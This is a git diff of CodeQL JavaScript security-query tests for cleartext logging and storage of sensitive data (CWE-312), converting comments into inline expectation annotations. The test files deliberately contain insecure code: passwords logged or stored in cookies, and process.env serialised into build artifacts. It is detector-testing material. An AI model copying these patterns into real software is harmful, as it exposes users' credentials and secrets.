-| passwords.js:4:17:4:29 | getPassword() | passwords.js:4:17:4:29 | getPassword() | passwords.js:4:17:4:29 | getPassword() | This logs sensitive data returned by $@ as clear text. | passwords.js:4:17:4:29 | getPassword() | a call to getPassword |
-| passwords.js:5:17:5:31 | o.getPassword() | passwords.js:5:17:5:31 | o.getPassword() | passwords.js:5:17:5:31 | o.getPassword() | This logs sensitive data returned by $@ as clear text. | passwords.js:5:17:5:31 | o.getPassword() | a call to getPassword |
-| passwords.js:8:21:8:21 | x | passwords.js:10:11:10:18 | password | passwords.js:8:21:8:21 | x | This logs sensitive data returned by $@ as clear text. | passwords.js:10:11:10:18 | password | an access to password |
-| passwords.js:12:18:12:25 | password | passwords.js:12:18:12:25 | password | passwords.js:12:18:12:25 | password | This logs sensitive data returned by $@ as clear text. | passwords.js:12:18:12:25 | password | an access to password |
-| passwords.js:14:17:14:38 | name +  ... assword | passwords.js:14:31:14:38 | password | passwords.js:14:17:14:38 | name +  ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:14:31:14:38 | password | an access to password |
-| passwords.js:16:17:16:38 | `${name ... sword}` | passwords.js:16:29:16:36 | password | passwords.js:16:17:16:38 | `${name ... sword}` | This logs sensitive data returned by $@ as clear text. | passwords.js:16:29:16:36 | password | an access to password |
-| passwords.js:21:17:21:20 | obj1 | passwords.js:19:19:19:19 | x | passwords.js:21:17:21:20 | obj1 | This logs sensitive data returned by $@ as clear text. | passwords.js:19:19:19:19 | x | an access to password |
-| passwords.js:26:17:26:20 | obj2 | passwords.js:24:12:24:19 | password | passwords.js:26:17:26:20 | obj2 | This logs sensitive data returned by $@ as clear text. | passwords.js:24:12:24:19 | password | an access to password |
-| passwords.js:78:17:78:38 | temp.en ... assword | passwords.js:77:37:77:53 | req.body.password | passwords.js:78:17:78:38 | temp.en ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:77:37:77:53 | req.body.password | an access to password |
-| passwords.js:81:17:81:31 | `pw: ${secret}` | passwords.js:80:18:80:25 | password | passwords.js:81:17:81:31 | `pw: ${secret}` | This logs sensitive data returned by $@ as clear text. | passwords.js:80:18:80:25 | password | an access to password |
-| passwords.js:93:21:93:46 | "Passwo ... assword | passwords.js:93:39:93:46 | password | passwords.js:93:21:93:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:93:39:93:46 | password | an access to password |
-| passwords.js:98:21:98:46 | "Passwo ... assword | passwords.js:98:39:98:46 | password | passwords.js:98:21:98:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:98:39:98:46 | password | an access to password |
-| passwords.js:105:21:105:46 | "Passwo ... assword | passwords.js:105:39:105:46 | password | passwords.js:105:21:105:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:105:39:105:46 | password | an access to password |
-| passwords.js:110:21:110:46 | "Passwo ... assword | passwords.js:110:39:110:46 | password | passwords.js:110:21:110:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:110:39:110:46 | password | an access to password |
-| passwords.js:114:25:114:50 | "Passwo ... assword | passwords.js:114:43:114:50 | password | passwords.js:114:25:114:50 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:114:43:114:50 | password | an access to password |
-| passwords.js:119:21:119:46 | "Passwo ... assword | passwords.js:119:39:119:46 | password | passwords.js:119:21:119:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:119:39:119:46 | password | an access to password |
-| passwords.js:122:17:122:49 | name +  ... tring() | passwords.js:122:31:122:38 | password | passwords.js:122:17:122:49 | name +  ... tring() | This logs sensitive data returned by $@ as clear text. | passwords.js:122:31:122:38 | password | an access to password |
-| passwords.js:123:17:123:48 | name +  ... lueOf() | passwords.js:123:31:123:38 | password | passwords.js:123:17:123:48 | name +  ... lueOf() | This logs sensitive data returned by $@ as clear text. | passwords.js:123:31:123:38 | password | an access to password |
-| passwords.js:135:17:135:22 | config | passwords.js:128:19:128:19 | x | passwords.js:135:17:135:22 | config | This logs sensitive data returned by $@ as clear text. | passwords.js:128:19:128:19 | x | an access to password |
-| passwords.js:135:17:135:22 | config | passwords.js:130:12:130:19 | password | passwords.js:135:17:135:22 | config | This logs sensitive data returned by $@ as clear text. | passwords.js:130:12:130:19 | password | an access to password |
-| passwords.js:135:17:135:22 | config | passwords.js:131:12:131:24 | getPassword() | passwords.js:135:17:135:22 | config | This logs sensitive data returned by $@ as clear text. | passwords.js:131:12:131:24 | getPassword() | a call to getPassword |
-| passwords.js:136:17:136:24 | config.x | passwords.js:130:12:130:19 | password | passwords.js:136:17:136:24 | config.x | This logs sensitive data returned by $@ as clear text. | passwords.js:130:12:130:19 | password | an access to password |
-| passwords.js:137:17:137:24 | config.y | passwords.js:131:12:131:24 | getPassword() | passwords.js:137:17:137:24 | config.y | This logs sensitive data returned by $@ as clear text. | passwords.js:131:12:131:24 | getPassword() | a call to getPassword |
-| passwords.js:142:26:142:34 | arguments | passwords.js:147:12:147:19 | password | passwords.js:142:26:142:34 | arguments | This logs sensitive data returned by $@ as clear text. | passwords.js:147:12:147:19 | password | an access to password |
-| passwords.js:142:26:142:34 | arguments | passwords.js:150:21:150:31 | process.env | passwords.js:142:26:142:34 | arguments | This logs sensitive data returned by $@ as clear text. | passwords.js:150:21:150:31 | process.env | process environment |
-| passwords.js:142:26:142:34 | arguments | passwords.js:152:33:152:43 | process.env | passwords.js:142:26:142:34 | arguments | This logs sensitive data returned by $@ as clear text. | passwords.js:152:33:152:43 | process.env | process environment |
-| passwords.js:156:17:156:27 | process.env | passwords.js:156:17:156:27 | process.env | passwords.js:156:17:156:27 | process.env | This logs sensitive data returned by $@ as clear text. | passwords.js:156:17:156:27 | process.env | process environment |
-| passwords.js:163:14:163:41 | passwor ... g, "*") | passwords.js:163:14:163:21 | password | passwords.js:163:14:163:41 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:163:14:163:21 | password | an access to password |
-| passwords.js:164:14:164:42 | passwor ... g, "*") | passwords.js:164:14:164:21 | password | passwords.js:164:14:164:42 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:164:14:164:21 | password | an access to password |
-| passwords.js:169:17:169:45 | passwor ... g, "*") | passwords.js:169:17:169:24 | password | passwords.js:169:17:169:45 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:169:17:169:24 | password | an access to password |
-| passwords.js:170:11:170:39 | passwor ... g, "*") | passwords.js:170:11:170:18 | password | passwords.js:170:11:170:39 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:170:11:170:18 | password | an access to password |
-| passwords.js:173:17:173:26 | myPassword | passwords.js:173:17:173:26 | myPassword | passwords.js:173:17:173:26 | myPassword | This logs sensitive data returned by $@ as clear text. | passwords.js:173:17:173:26 | myPassword | an access to myPassword |
-| passwords.js:176:17:176:26 | myPasscode | passwords.js:176:17:176:26 | myPasscode | passwords.js:176:17:176:26 | myPasscode | This logs sensitive data returned by $@ as clear text. | passwords.js:176:17:176:26 | myPasscode | an access to myPasscode |
-| passwords.js:182:14:182:51 | passwor ... ), "*") | passwords.js:182:14:182:21 | password | passwords.js:182:14:182:51 | passwor ... ), "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:182:14:182:21 | password | an access to password |
-| passwords.js:188:15:188:41 | JSON.st ... ss.env) | passwords.js:188:30:188:40 | process.env | passwords.js:188:15:188:41 | JSON.st ... ss.env) | This logs sensitive data returned by $@ as clear text. | passwords.js:188:30:188:40 | process.env | process environment |
-| passwords_in_server_1.js:6:13:6:20 | password | passwords_in_server_1.js:6:13:6:20 | password | passwords_in_server_1.js:6:13:6:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_1.js:6:13:6:20 | password | an access to password |
-| passwords_in_server_2.js:3:13:3:20 | password | passwords_in_server_2.js:3:13:3:20 | password | passwords_in_server_2.js:3:13:3:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_2.js:3:13:3:20 | password | an access to password |
-| passwords_in_server_3.js:2:13:2:20 | password | passwords_in_server_3.js:2:13:2:20 | password | passwords_in_server_3.js:2:13:2:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_3.js:2:13:2:20 | password | an access to password |
-| passwords_in_server_4.js:2:13:2:20 | password | passwords_in_server_4.js:2:13:2:20 | password | passwords_in_server_4.js:2:13:2:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_4.js:2:13:2:20 | password | an access to password |
-| passwords_in_server_5.js:8:17:8:17 | x | passwords_in_server_5.js:4:7:4:24 | req.query.password | passwords_in_server_5.js:8:17:8:17 | x | This logs sensitive data returned by $@ as clear text. | passwords_in_server_5.js:4:7:4:24 | req.query.password | an access to password |
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref b/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref
index de9273391c84..2309f8c643a1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.qlref
@@ -1 +1,2 @@
-Security/CWE-312/CleartextLogging.ql
\ No newline at end of file
+query: Security/CWE-312/CleartextLogging.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.expected b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.expected
index e6a5f7f551e5..fcb6c03d006a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.expected
@@ -1,8 +1,19 @@
+#select
+| CleartextStorage2.js:7:19:7:34 | 'password=' + pw | CleartextStorage2.js:5:12:5:58 | url.par ... assword | CleartextStorage2.js:7:19:7:34 | 'password=' + pw | This stores sensitive data returned by $@ as clear text. | CleartextStorage2.js:5:12:5:58 | url.par ... assword | an access to current_password |
+| CleartextStorage.js:6:26:6:27 | pw | CleartextStorage.js:5:12:5:40 | req.par ... sword") | CleartextStorage.js:6:26:6:27 | pw | This stores sensitive data returned by $@ as clear text. | CleartextStorage.js:5:12:5:40 | req.par ... sword") | a call to param |
+| tst-angularjs.js:3:32:3:45 | data1.password | tst-angularjs.js:3:32:3:45 | data1.password | tst-angularjs.js:3:32:3:45 | data1.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:3:32:3:45 | data1.password | an access to password |
+| tst-angularjs.js:4:33:4:46 | data2.password | tst-angularjs.js:4:33:4:46 | data2.password | tst-angularjs.js:4:33:4:46 | data2.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:4:33:4:46 | data2.password | an access to password |
+| tst-angularjs.js:5:27:5:40 | data3.password | tst-angularjs.js:5:27:5:40 | data3.password | tst-angularjs.js:5:27:5:40 | data3.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:5:27:5:40 | data3.password | an access to password |
+| tst-angularjs.js:6:33:6:46 | data4.password | tst-angularjs.js:6:33:6:46 | data4.password | tst-angularjs.js:6:33:6:46 | data4.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:6:33:6:46 | data4.password | an access to password |
+| tst-webstorage.js:1:18:1:30 | data.password | tst-webstorage.js:1:18:1:30 | data.password | tst-webstorage.js:1:18:1:30 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:1:18:1:30 | data.password | an access to password |
+| tst-webstorage.js:2:27:2:39 | data.password | tst-webstorage.js:2:27:2:39 | data.password | tst-webstorage.js:2:27:2:39 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:2:27:2:39 | data.password | an access to password |
+| tst-webstorage.js:3:20:3:32 | data.password | tst-webstorage.js:3:20:3:32 | data.password | tst-webstorage.js:3:20:3:32 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:3:20:3:32 | data.password | an access to password |
+| tst-webstorage.js:4:29:4:41 | data.password | tst-webstorage.js:4:29:4:41 | data.password | tst-webstorage.js:4:29:4:41 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:4:29:4:41 | data.password | an access to password |
 edges
 | CleartextStorage2.js:5:7:5:58 | pw | CleartextStorage2.js:7:33:7:34 | pw | provenance |  |
 | CleartextStorage2.js:5:12:5:58 | url.par ... assword | CleartextStorage2.js:5:7:5:58 | pw | provenance |  |
 | CleartextStorage2.js:7:33:7:34 | pw | CleartextStorage2.js:7:19:7:34 | 'password=' + pw | provenance |  |
-| CleartextStorage.js:5:7:5:40 | pw | CleartextStorage.js:7:26:7:27 | pw | provenance |  |
+| CleartextStorage.js:5:7:5:40 | pw | CleartextStorage.js:6:26:6:27 | pw | provenance |  |
 | CleartextStorage.js:5:12:5:40 | req.par ... sword") | CleartextStorage.js:5:7:5:40 | pw | provenance |  |
 nodes
 | CleartextStorage2.js:5:7:5:58 | pw | semmle.label | pw |
@@ -11,7 +22,7 @@ nodes
 | CleartextStorage2.js:7:33:7:34 | pw | semmle.label | pw |
 | CleartextStorage.js:5:7:5:40 | pw | semmle.label | pw |
 | CleartextStorage.js:5:12:5:40 | req.par ... sword") | semmle.label | req.par ... sword") |
-| CleartextStorage.js:7:26:7:27 | pw | semmle.label | pw |
+| CleartextStorage.js:6:26:6:27 | pw | semmle.label | pw |
 | tst-angularjs.js:3:32:3:45 | data1.password | semmle.label | data1.password |
 | tst-angularjs.js:4:33:4:46 | data2.password | semmle.label | data2.password |
 | tst-angularjs.js:5:27:5:40 | data3.password | semmle.label | data3.password |
@@ -21,14 +32,3 @@ nodes
 | tst-webstorage.js:3:20:3:32 | data.password | semmle.label | data.password |
 | tst-webstorage.js:4:29:4:41 | data.password | semmle.label | data.password |
 subpaths
-#select
-| CleartextStorage2.js:7:19:7:34 | 'password=' + pw | CleartextStorage2.js:5:12:5:58 | url.par ... assword | CleartextStorage2.js:7:19:7:34 | 'password=' + pw | This stores sensitive data returned by $@ as clear text. | CleartextStorage2.js:5:12:5:58 | url.par ... assword | an access to current_password |
-| CleartextStorage.js:7:26:7:27 | pw | CleartextStorage.js:5:12:5:40 | req.par ... sword") | CleartextStorage.js:7:26:7:27 | pw | This stores sensitive data returned by $@ as clear text. | CleartextStorage.js:5:12:5:40 | req.par ... sword") | a call to param |
-| tst-angularjs.js:3:32:3:45 | data1.password | tst-angularjs.js:3:32:3:45 | data1.password | tst-angularjs.js:3:32:3:45 | data1.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:3:32:3:45 | data1.password | an access to password |
-| tst-angularjs.js:4:33:4:46 | data2.password | tst-angularjs.js:4:33:4:46 | data2.password | tst-angularjs.js:4:33:4:46 | data2.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:4:33:4:46 | data2.password | an access to password |
-| tst-angularjs.js:5:27:5:40 | data3.password | tst-angularjs.js:5:27:5:40 | data3.password | tst-angularjs.js:5:27:5:40 | data3.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:5:27:5:40 | data3.password | an access to password |
-| tst-angularjs.js:6:33:6:46 | data4.password | tst-angularjs.js:6:33:6:46 | data4.password | tst-angularjs.js:6:33:6:46 | data4.password | This stores sensitive data returned by $@ as clear text. | tst-angularjs.js:6:33:6:46 | data4.password | an access to password |
-| tst-webstorage.js:1:18:1:30 | data.password | tst-webstorage.js:1:18:1:30 | data.password | tst-webstorage.js:1:18:1:30 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:1:18:1:30 | data.password | an access to password |
-| tst-webstorage.js:2:27:2:39 | data.password | tst-webstorage.js:2:27:2:39 | data.password | tst-webstorage.js:2:27:2:39 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:2:27:2:39 | data.password | an access to password |
-| tst-webstorage.js:3:20:3:32 | data.password | tst-webstorage.js:3:20:3:32 | data.password | tst-webstorage.js:3:20:3:32 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:3:20:3:32 | data.password | an access to password |
-| tst-webstorage.js:4:29:4:41 | data.password | tst-webstorage.js:4:29:4:41 | data.password | tst-webstorage.js:4:29:4:41 | data.password | This stores sensitive data returned by $@ as clear text. | tst-webstorage.js:4:29:4:41 | data.password | an access to password |
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.js b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.js
index fa18a8005c84..5c8d53e47057 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.js
@@ -2,7 +2,6 @@ var express = require('express');
 
 var app = express();
 app.get('/remember-password', function (req, res) {
-  let pw = req.param("current_password");
-  // BAD: Setting a cookie value with cleartext sensitive data.
-  res.cookie("password", pw);
+  let pw = req.param("current_password"); // $ Source[js/clear-text-storage-of-sensitive-data]
+  res.cookie("password", pw); // $ Alert[js/clear-text-storage-of-sensitive-data] - Setting a cookie value with cleartext sensitive data.
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.qlref b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.qlref
index dbb55afe5e72..a39c1b1c4efd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage.qlref
@@ -1 +1,2 @@
-Security/CWE-312/CleartextStorage.ql
+query: Security/CWE-312/CleartextStorage.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage2.js b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage2.js
index 88385a96ab49..8572768c5f52 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorage2.js
@@ -2,9 +2,9 @@ var https = require('https');
 var url = require('url');
 
 var server = https.createServer(function(req, res) {
-  let pw = url.parse(req.url, true).query.current_password;
+  let pw = url.parse(req.url, true).query.current_password; // $ Source[js/clear-text-storage-of-sensitive-data]
   res.writeHead(200, {
-    'Set-Cookie': 'password=' + pw,
+    'Set-Cookie': 'password=' + pw, // $ Alert[js/clear-text-storage-of-sensitive-data]
     'Content-Type': 'text/plain'
   });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorageGood.js b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorageGood.js
index 647450b5847d..35ed74e21894 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorageGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/CleartextStorageGood.js
@@ -10,6 +10,6 @@ function encrypt(text){
 var app = express();
 app.get('/remember-password', function (req, res) {
   let pw = req.param("current_password");
-  // GOOD: Encoding the value before setting it.
+  // OK - Encoding the value before setting it.
   res.cookie("password", encrypt(pw));
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js b/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js
index ed18cf07e56d..e99122cb6af0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js
@@ -1,18 +1,18 @@
 const webpack = require("webpack");
 
 
-var plugin = new webpack.DefinePlugin({ // NOT OK
-    "process.env": JSON.stringify(process.env)
-});
+var plugin = new webpack.DefinePlugin({
+    "process.env": JSON.stringify(process.env) // $ Source[js/build-artifact-leak]
+}); // $ Alert[js/build-artifact-leak]
+
 
-// OK
 new webpack.DefinePlugin({ 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG }) })
 
 
 function getEnv(env) {
     const raw = Object.keys(process.env)
         .reduce((env, key) => {
-            env[key] = process.env[key]
+            env[key] = process.env[key] // $ Source[js/build-artifact-leak]
             return env
         }, {
             NODE_ENV: process.env.NODE_ENV || env || 'development'
@@ -31,14 +31,14 @@ function getEnv(env) {
     }
 }
 
-new webpack.DefinePlugin(getEnv('production').stringified); // NOT OK
+new webpack.DefinePlugin(getEnv('production').stringified); // $ Alert[js/build-artifact-leak]
 
 var https = require('https');
 var url = require('url');
 
 var server = https.createServer(function (req, res) {
-    let pw = url.parse(req.url, true).query.current_password;
-    var plugin = new webpack.DefinePlugin({ "process.env.secret": JSON.stringify(pw) }); // NOT OK
+    let pw = url.parse(req.url, true).query.current_password; // $ Source[js/build-artifact-leak]
+    var plugin = new webpack.DefinePlugin({ "process.env.secret": JSON.stringify(pw) }); // $ Alert[js/build-artifact-leak]
 });
 
 (function () {
@@ -57,7 +57,7 @@ var server = https.createServer(function (req, res) {
         return raw;
     }
 
-    new webpack.DefinePlugin(getOnlyReactVariables()); // OK
+    new webpack.DefinePlugin(getOnlyReactVariables());
 
     function getOnlyReactVariables2() {
         const raw = Object.keys(process.env)
@@ -73,7 +73,7 @@ var server = https.createServer(function (req, res) {
         return raw;
     }
 
-    new webpack.DefinePlugin(getOnlyReactVariables2()); // OK
+    new webpack.DefinePlugin(getOnlyReactVariables2());
 
     function getOnlyReactVariables3() {
         const raw = Object.keys(process.env)
@@ -89,5 +89,5 @@ var server = https.createServer(function (req, res) {
         return raw;
     }
 
-    new webpack.DefinePlugin(getOnlyReactVariables3()); // OK
+    new webpack.DefinePlugin(getOnlyReactVariables3());
 })();
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/passwords.js b/javascript/ql/test/query-tests/Security/CWE-312/passwords.js
index 5addf6ed2b89..47304946e39c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/passwords.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/passwords.js
@@ -1,84 +1,84 @@
 (function() {
-    console.log(password); // NOT OK
-    console.log(o.password); // NOT OK
-    console.log(getPassword()); // NOT OK
-    console.log(o.getPassword()); // NOT OK
+    console.log(password); // $ Alert[js/clear-text-logging]
+    console.log(o.password); // $ Alert[js/clear-text-logging]
+    console.log(getPassword()); // $ Alert[js/clear-text-logging]
+    console.log(o.getPassword()); // $ Alert[js/clear-text-logging]
 
     function myLog(x) {
-        console.log(x); // NOT OK
+        console.log(x); // $ Alert[js/clear-text-logging]
     }
-    myLog(password);
+    myLog(password); // $ Source[js/clear-text-logging]
 
-    console.info(password); // NOT OK
+    console.info(password); // $ Alert[js/clear-text-logging]
 
-    console.log(name + ", " + password); // NOT OK
+    console.log(name + ", " + password); // $ Alert[js/clear-text-logging]
 
-    console.log(`${name}, ${password}`); // NOT OK
+    console.log(`${name}, ${password}`); // $ Alert[js/clear-text-logging]
 
     var obj1 = {
-        password: x
+        password: x // $ Source[js/clear-text-logging]
     };
-    console.log(obj1); // NOT OK
+    console.log(obj1); // $ Alert[js/clear-text-logging]
 
     var obj2 = {
-        x: password
+        x: password // $ Source[js/clear-text-logging]
     };
-    console.log(obj2); // NOT OK
+    console.log(obj2); // $ Alert[js/clear-text-logging]
 
     var obj3 = {};
-    console.log(obj3); // OK
+    console.log(obj3);
     obj3.x = password;
 
     var fixed_password = "123";
-    console.log(fixed_password); // OK
+    console.log(fixed_password);
 
-    console.log(messages.IncorrectPasswordError); // OK
+    console.log(messages.IncorrectPasswordError);
 
-    console.log(this.hashed_password); // OK
-    console.log(login.wrappedJSObject.encryptedPassword); // OK
-    console.log(HTML5QQ.encodedPassword); // OK
+    console.log(this.hashed_password);
+    console.log(login.wrappedJSObject.encryptedPassword);
+    console.log(HTML5QQ.encodedPassword);
 
-    console.log({password: crypt(pw)}); // OK
-    var actually_secure_password = crypt(password); // OK
-    console.log(actually_secure_password); // OK
+    console.log({password: crypt(pw)});
+    var actually_secure_password = crypt(password);
+    console.log(actually_secure_password);
 
     var user1 = {};
     user1.crypted_password = x();
-    console.log(user1); // OK
+    console.log(user1);
 
     var user2 = {};
     user2.password = hash();
-    console.log(user2); // OK
+    console.log(user2);
 
     var user3 = {
         password: encryptLib.encryptPassword(req.body.password)
     };
-    console.log(user3); // OK
+    console.log(user3);
 
     var actually_ok_password_1 = hashed1();
     console.log(actually_ok_password_1);
     var hashed2 = actually_ok_password_2();
-    console.log(hashed2); // OK
+    console.log(hashed2);
 
-    console.log(this._passwordMD5); // OK
-    console.log(this._password_sha); // OK
+    console.log(this._passwordMD5);
+    console.log(this._password_sha);
 
     var utilityObject = {
         passwordSet: function(){}
     }
-    console.log(utilityObject); // OK
+    console.log(utilityObject);
 
     var displayedPassword = password? null: "(hidden)";
     var config = {
         password: displayedPassword
     };
-    console.log(config); // OK
+    console.log(config);
 
-    var temp = { encryptedPassword: req.body.password };
-    console.log(temp.encryptedPassword); // OK XXX
+    var temp = { encryptedPassword: req.body.password }; // $ Source[js/clear-text-logging]
+    console.log(temp.encryptedPassword); // $ SPURIOUS: Alert[js/clear-text-logging]
 
-    var secret = password;
-    console.log(`pw: ${secret}`); // NOT OK
+    var secret = password; // $ Source[js/clear-text-logging]
+    console.log(`pw: ${secret}`); // $ Alert[js/clear-text-logging]
 
     function redact(kind, value) {
         if (value && kind == 'password') {
@@ -90,101 +90,101 @@
     console.log("Password is: " + redact('password', password));
 
     if (environment.isTestEnv()) {
-        console.log("Password is: " + password); // OK, but still flagged [INCONSISTENCY]
+        console.log("Password is: " + password); // $ SPURIOUS: Alert[js/clear-text-logging]
     }
 
     if (environment.is(TEST)) {
         // NB: for security reasons, we only log passwords in test environments
-        console.log("Password is: " + password); // OK, but still flagged [INCONSISTENCY]
+        console.log("Password is: " + password); // $ SPURIOUS: Alert[js/clear-text-logging]
     }
 
 
     if (x.test(y)) {
         f();
         // ...
-        console.log("Password is: " + password); // NOT OK
+        console.log("Password is: " + password); // $ Alert[js/clear-text-logging]
         // ...
     }
 
     if (environment.isTestEnv())
-        console.log("Password is: " + password); // OK, but still flagged [INCONSISTENCY]
+        console.log("Password is: " + password); // $ SPURIOUS: Alert[js/clear-text-logging]
 
     if (x.test(y)) {
         if (f()) {
-            console.log("Password is: " + password); // NOT OK
+            console.log("Password is: " + password); // $ Alert[js/clear-text-logging]
         }
     }
 
     if (!environment.isProduction()) {
-        console.log("Password is: " + password); // OK, but still flagged [INCONSISTENCY]
+        console.log("Password is: " + password); // $ SPURIOUS: Alert[js/clear-text-logging]
     }
 
-    console.log(name + ", " + password.toString()); // NOT OK
-    console.log(name + ", " + password.valueOf()); // NOT OK
+    console.log(name + ", " + password.toString()); // $ Alert[js/clear-text-logging]
+    console.log(name + ", " + password.valueOf()); // $ Alert[js/clear-text-logging]
 });
 
 (function() {
     var config = {
-        password: x,
+        password: x, // $ Source[js/clear-text-logging]
         hostname: "tarski",
-        x: password,
-        y: getPassword()
+        x: password, // $ Source[js/clear-text-logging]
+        y: getPassword() // $ Source[js/clear-text-logging]
     };
     var cfg = x? config: config;
-    console.log(config.hostname); // OK
-    console.log(config); // NOT OK
-    console.log(config.x); // NOT OK
-    console.log(config.y); // NOT OK
-    console.log(config[x]); // OK (probably)
+    console.log(config.hostname);
+    console.log(config); // $ Alert[js/clear-text-logging]
+    console.log(config.x); // $ Alert[js/clear-text-logging]
+    console.log(config.y); // $ Alert[js/clear-text-logging]
+    console.log(config[x]); // OK - probably
 });
 
 function indirectLogCall() {
-	console.log.apply(this, arguments);
+	console.log.apply(this, arguments); // $ Alert[js/clear-text-logging]
 }
 var Util = require('util');
 (function() {
     var config = {
-        x: password
+        x: password // $ Source[js/clear-text-logging]
     };
-    indirectLogCall(config.x); // NOT OK
-    indirectLogCall(process.env); // NOT OK
+    indirectLogCall(config.x);
+    indirectLogCall(process.env); // $ Source[js/clear-text-logging]
 
-    var procdesc = Util.inspect(process.env).replace(/\n/g, '')
+    var procdesc = Util.inspect(process.env).replace(/\n/g, '') // $ Source[js/clear-text-logging]
 
-    indirectLogCall(procdesc); // NOT OK
+    indirectLogCall(procdesc);
 
-    console.log(process.env); // NOT OK
-    console.log(process.env.PATH); // OK.
-    console.log(process.env["foo" + "bar"]); // OK.
+    console.log(process.env); // $ Alert[js/clear-text-logging]
+    console.log(process.env.PATH);
+    console.log(process.env["foo" + "bar"]);
 });
 
 (function () {
-	console.log(password.replace(/./g, "*")); // OK!
-	console.log(password.replace(/\./g, "*")); // NOT OK!
-	console.log(password.replace(/foo/g, "*")); // NOT OK!
+	console.log(password.replace(/./g, "*"));
+	console.log(password.replace(/\./g, "*")); // $ Alert[js/clear-text-logging]
+	console.log(password.replace(/foo/g, "*")); // $ Alert[js/clear-text-logging]
 })();
 
 const debug = require('debug')('test');
 (function () {
-    console.log(password.replace(/foo/g, "*")); // NOT OK
-    debug(password.replace(/foo/g, "*")); // NOT OK
+    console.log(password.replace(/foo/g, "*")); // $ Alert[js/clear-text-logging]
+    debug(password.replace(/foo/g, "*")); // $ Alert[js/clear-text-logging]
 
     const myPassword = foo();
-    console.log(myPassword); // NOT OK
+    console.log(myPassword); // $ Alert[js/clear-text-logging]
 
     const myPasscode = foo();
-    console.log(myPasscode); // NOT OK
+    console.log(myPasscode); // $ Alert[js/clear-text-logging]
 });
 
 (function () {
-    console.log(password.replace(/./g, "*")); // OK
-	console.log(password.replace(new RegExp(".", "g"), "*")); // OK
-	console.log(password.replace(new RegExp("."), "*")); // NOT OK
-	console.log(password.replace(new RegExp(".", unknownFlags()), "*")); // OK -- Most likely not a problem.
-    console.log(password.replace(new RegExp("pre_._suf", "g"), "*")); // OK
+    console.log(password.replace(/./g, "*"));
+	console.log(password.replace(new RegExp(".", "g"), "*"));
+	console.log(password.replace(new RegExp("."), "*")); // $ Alert[js/clear-text-logging]
+	console.log(password.replace(new RegExp(".", unknownFlags()), "*")); // OK - Most likely not a problem.
+    console.log(password.replace(new RegExp("pre_._suf", "g"), "*"));
 })();
 
 (function () {
